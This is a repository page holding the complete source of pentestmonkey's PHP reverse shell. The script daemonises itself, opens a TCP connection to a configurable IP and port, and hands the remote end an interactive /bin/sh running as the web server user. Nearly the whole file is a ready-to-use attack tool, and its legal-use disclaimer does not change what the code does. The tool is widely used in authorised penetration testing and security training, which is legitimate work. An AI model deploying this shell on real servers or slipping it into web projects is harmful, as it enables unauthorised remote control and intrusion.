FilesExpand file tree

 master

/

php-reverse-shell.php

Copy path

Blame

More file actions

Blame

More file actions

Latest commit

 

History

History

History

executable file

·

192 lines (164 loc) · 5.36 KB

 master

/

php-reverse-shell.php

Top

File metadata and controls

• Code
• Blame

executable file

·

192 lines (164 loc) · 5.36 KB

Raw

Copy raw file

Download raw file

Open symbols panel

Edit and raw actions

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

<?php

// php-reverse-shell - A Reverse Shell implementation in PHP

// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

//

// This tool may be used for legal purposes only. Users take full responsibility

// for any actions performed using this tool. The author accepts no liability

// for damage caused by this tool. If these terms are not acceptable to you, then

// do not use this tool.

//

// In all other respects the GPL version 2 applies:

//

// This program is free software; you can redistribute it and/or modify

// it under the terms of the GNU General Public License version 2 as

// published by the Free Software Foundation.

//

// This program is distributed in the hope that it will be useful,

// but WITHOUT ANY WARRANTY; without even the implied warranty of

// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the

// GNU General Public License for more details.

//

// You should have received a copy of the GNU General Public License along

// with this program; if not, write to the Free Software Foundation, Inc.,

// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

//

// This tool may be used for legal purposes only. Users take full responsibility

// for any actions performed using this tool. If these terms are not acceptable to

// you, then do not use this tool.

//

// You are encouraged to send comments, improvements or suggestions to

// me at pentestmonkey@pentestmonkey.net

//

// Description

// -----------

// This script will make an outbound TCP connection to a hardcoded IP and port.

// The recipient will be given a shell running as the current user (apache normally).

//

// Limitations

// -----------

// proc_open and stream_set_blocking require PHP version 4.3+, or 5+

// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.

// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.

//

// Usage

// -----

// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);

$VERSION = "1.0";

$ip = '127.0.0.1'; // CHANGE THIS

$port = 1234; // CHANGE THIS

$chunk_size = 1400;

$write_a = null;

$error_a = null;

$shell = 'uname -a; w; id; /bin/sh -i';

$daemon = 0;

$debug = 0;

//

// Daemonise ourself if possible to avoid zombies later

//

// pcntl_fork is hardly ever available, but will allow us to daemonise

// our php process and avoid zombies. Worth a try...

if (function_exists('pcntl_fork')) {

// Fork and have the parent process exit

$pid = pcntl_fork();

if ($pid == -1) {

printit("ERROR: Can't fork");

exit(1);

}

if ($pid) {

exit(0); // Parent exits

}

// Make the current process a session leader

// Will only succeed if we forked

if (posix_setsid() == -1) {

printit("Error: Can't setsid()");

exit(1);

}

$daemon = 1;

} else {

printit("WARNING: Failed to daemonise. This is quite common and not fatal.");

}

// Change to a safe directory

chdir("/");

// Remove any umask we inherited

umask(0);

//

// Do the reverse shell...

//

// Open reverse connection

$sock = fsockopen($ip, $port, $errno, $errstr, 30);

if (!$sock) {

printit("$errstr ($errno)");

exit(1);

}

// Spawn shell process

$descriptorspec = array(

0 => array("pipe", "r"), // stdin is a pipe that the child will read from

1 => array("pipe", "w"), // stdout is a pipe that the child will write to

2 => array("pipe", "w") // stderr is a pipe that the child will write to

);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {

printit("ERROR: Can't spawn shell");

exit(1);

}

// Set everything to non-blocking

// Reason: Occsionally reads will block, even though stream_select tells us they won't

stream_set_blocking($pipes[0], 0);

stream_set_blocking($pipes[1], 0);

stream_set_blocking($pipes[2], 0);

stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {

// Check for end of TCP connection

if (feof($sock)) {

printit("ERROR: Shell connection terminated");

break;

}

// Check for end of STDOUT

if (feof($pipes[1])) {

printit("ERROR: Shell process terminated");

break;

}

// Wait until a command is end down $sock, or some

// command output is available on STDOUT or STDERR

$read_a = array($sock, $pipes[1], $pipes[2]);

$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

// If we can read from the TCP socket, send

// data to process's STDIN

if (in_array($sock, $read_a)) {

if ($debug) printit("SOCK READ");

$input = fread($sock, $chunk_size);

if ($debug) printit("SOCK: $input");

fwrite($pipes[0], $input);

}

// If we can read from the process's STDOUT

// send data down tcp connection

if (in_array($pipes[1], $read_a)) {

if ($debug) printit("STDOUT READ");

$input = fread($pipes[1], $chunk_size);

if ($debug) printit("STDOUT: $input");

fwrite($sock, $input);

}

// If we can read from the process's STDERR

// send data down tcp connection

if (in_array($pipes[2], $read_a)) {

if ($debug) printit("STDERR READ");

$input = fread($pipes[2], $chunk_size);

if ($debug) printit("STDERR: $input");

fwrite($sock, $input);

}

}

fclose($sock);

fclose($pipes[0]);

fclose($pipes[1]);

fclose($pipes[2]);

proc_close($process);

// Like print, but does nothing if we've daemonised ourself

// (I can't figure out how to redirect STDOUT like a proper daemon)

function printit ($string) {

if (!$daemon) {

print "$string\n";

}

}

?>